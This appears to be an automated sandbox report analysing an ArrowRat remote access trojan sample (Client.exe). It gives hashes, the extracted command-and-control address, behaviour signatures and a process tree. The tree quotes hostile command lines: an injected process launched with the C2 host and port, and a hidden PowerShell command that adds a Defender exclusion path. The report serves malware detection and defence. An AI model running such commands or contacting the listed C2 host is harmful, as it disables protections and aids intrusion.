Overview

overview

10

Static

static

10

Client.exe

windows7-x64

10

Client.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-12-2024 16:20

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Client.exe

  • Size

    158KB

  • MD5

    b9e38162af37c0f29b683c3c307fae6c

  • SHA1

    646eedd6062086bb394c5f5727ff3cfff940e090

  • SHA256

    d020ce862bf6ba26a1b4b0ca76ebc2ce9bc5ade16e52c66b11bc4253a16318a7

  • SHA512

    85440ad4b1258171ddd280e373b31ea2018538256c21ff024d138f4032bb4717875351073fd987e2c0e120f7dbea5bfc9cf32484224e2c04685a13916b8e44b5

  • SSDEEP

    3072:Mbz3H+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPmOO8Y:Mbz3e0ODhTEPgnjuIJzo+PPcfPmB8

Score
10/10
arrowratclientdiscoveryexecutionpersistencerat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

24.ip.gl.ply.gg:46885

Mutex

BVCkbzdsT

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Arrowrat family
    arrowrat
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 37 IoCs
  • Suspicious use of FindShellTrayWindow 49 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\Client.exe
    "C:\Users\Admin\AppData\Local\Temp\Client.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2256
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:2588
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 24.ip.gl.ply.gg 46885 BVCkbzdsT
      2⤵
        PID:3740
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 24.ip.gl.ply.gg 46885 BVCkbzdsT
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:2076
      • C:\Windows\System32\ComputerDefaults.exe
        "C:\Windows\System32\ComputerDefaults.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4876
        • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
          "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Pan\dora'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1056
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:1260
    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
      1⤵
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:4300

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133797036470114333.txt
      Filesize

      75KB

      MD5

      75782663c3b084f4bb097e6cb088009a

      SHA1

      2909c4df6dcaf558439f892ab0ef5ebd2937ee76

      SHA256

      3cbd83a0b4f633144075b007ae1366eb2636c389fddc240c483de96a66340e60

      SHA512

      9c702a3014a80b7d42d9662e2eb9c24df1a4cf60c920e95c0c4d543ad83cb80b414710920d3bb0cd7dd0193ad66455f267660a698dd4edcc20035b26467c8256

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_axgtqagc.ou5.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • C:\Users\Admin\AppData\Roaming\temp0923
      Filesize

      10B

      MD5

      bf12ed71b468aff29171838e05b5ff68

      SHA1

      bc5fa6b614279570e6eb10dd7d68e56d8d5b955e

      SHA256

      c6413eb4d233caa14215d0cefc029f1063be03765e5f2f52bd6638ab8da00506

      SHA512

      9d09dd93ec4fe7e4e63b79fe607de534b7977d8e53cbcef7ba199b421e14734c50dfcfae18101f21de9a10c774eec4456852b8c67f74fb36d7a3f2f6fb8cc33b

      Download Submit

    • memory/1056-25-0x000001FC43A90000-0x000001FC43AB2000-memory.dmp

      Filesize

      136KB

      Download

    • memory/1056-28-0x000001FC43B60000-0x000001FC43D7C000-memory.dmp

      Filesize

      2.1MB

      Download

    • memory/2076-6-0x0000000006160000-0x0000000006704000-memory.dmp

      Filesize

      5.6MB

      Download

    • memory/2076-2-0x0000000000400000-0x0000000000418000-memory.dmp

      Filesize

      96KB

      Download

    • memory/2076-10-0x0000000006810000-0x0000000006860000-memory.dmp

      Filesize

      320KB

      Download

    • memory/2076-5-0x00000000057F0000-0x000000000588C000-memory.dmp

      Filesize

      624KB

      Download

    • memory/2076-4-0x0000000005750000-0x00000000057E2000-memory.dmp

      Filesize

      584KB

      Download

    • memory/2076-7-0x0000000005F60000-0x0000000005FC6000-memory.dmp

      Filesize

      408KB

      Download

    • memory/2256-15-0x00007FF8BCC80000-0x00007FF8BD741000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/2256-0-0x00007FF8BCC83000-0x00007FF8BCC85000-memory.dmp

      Filesize

      8KB

      Download

    • memory/2256-1-0x000001B7F9D40000-0x000001B7F9D6E000-memory.dmp

      Filesize

      184KB

      Download

    • memory/2256-203-0x00007FF8BCC80000-0x00007FF8BD741000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/2588-32-0x0000000003230000-0x0000000003231000-memory.dmp

      Filesize

      4KB

      Download

    • memory/4300-50-0x000001B536F40000-0x000001B536F60000-memory.dmp

      Filesize

      128KB

      Download

    • memory/4300-35-0x000001B536000000-0x000001B536100000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/4300-33-0x000001B536000000-0x000001B536100000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/4300-38-0x000001B536F80000-0x000001B536FA0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/4300-65-0x000001B537350000-0x000001B537370000-memory.dmp

      Filesize

      128KB

      Download

    • memory/4300-34-0x000001B536000000-0x000001B536100000-memory.dmp

      Filesize

      1024KB

      Download